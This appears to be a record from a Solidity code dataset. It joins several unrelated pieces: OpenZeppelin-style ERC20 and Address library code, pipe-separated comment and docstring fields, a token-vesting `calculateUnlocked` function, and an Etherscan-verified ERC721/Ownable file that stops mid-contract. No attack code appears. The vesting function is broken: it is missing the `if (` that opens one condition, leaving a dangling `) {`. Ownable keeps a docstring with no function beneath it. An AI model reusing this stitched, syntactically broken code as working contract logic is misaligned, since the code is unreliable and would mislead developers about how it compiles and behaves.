(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// enhanced ERC20 interface with decimals
interface IERC20Decimals is IERC20 {
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
|
/ unlock the initial release if the delay has elapsed if at least one period after the delay has passed calculate the number of additional periods that have passed (not including the initial release) this discards any remainders (ie it truncates / rounds down) calculate the amount of unlocked tokens for the additionalUnlockedPeriods multiplication is applied before division to delay truncating to the smallest unit this distributes unlocked tokens more evenly across unlock periods than truncated division followed by multiplication
|
@notice The same functionality as above function with spread format of `releaseSchedule` arg
@param commencedTimestamp the commencement time to use in the calculation for the scheduled
@param currentTimestamp the timestamp to calculate unlocked tokens for
@param amount the amount of tokens
@param releaseCount Total number of releases including any initial "cliff'
@param delayUntilFirstReleaseInSeconds "cliff" or 0 for immediate release
@param initialReleasePortionInBips Portion to release in 100ths of 1% (10000 BIPS per 100%)
@param periodBetweenReleasesInSeconds After the delay and initial release
@return unlocked the total amount unlocked for the schedule given the other parameters
function calculateUnlocked(
uint commencedTimestamp,
uint currentTimestamp,
uint amount,
uint releaseCount,
uint delayUntilFirstReleaseInSeconds,
uint initialReleasePortionInBips,
uint periodBetweenReleasesInSeconds
) public pure returns (uint unlocked) {
if (commencedTimestamp > currentTimestamp) {
return 0;
}
uint secondsElapsed = currentTimestamp - commencedTimestamp;
secondsElapsed >= delayUntilFirstReleaseInSeconds +
(periodBetweenReleasesInSeconds * (releaseCount - 1))
) {
return amount;
}
if (secondsElapsed >= delayUntilFirstReleaseInSeconds) {
unlocked = (amount * initialReleasePortionInBips) / BIPS_PRECISION;
if (secondsElapsed - delayUntilFirstReleaseInSeconds >= periodBetweenReleasesInSeconds) {
uint additionalUnlockedPeriods = (secondsElapsed - delayUntilFirstReleaseInSeconds) / periodBetweenReleasesInSeconds;
unlocked += ((amount - unlocked) * additionalUnlockedPeriods) / (releaseCount - 1);
}
}
return unlocked;
}
| 5,979,953 |
/**
*Submitted for verification at Etherscan.io on 2021-12-14
*/
/**
*Submitted for verification at Etherscan.io on 2021-10-07
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
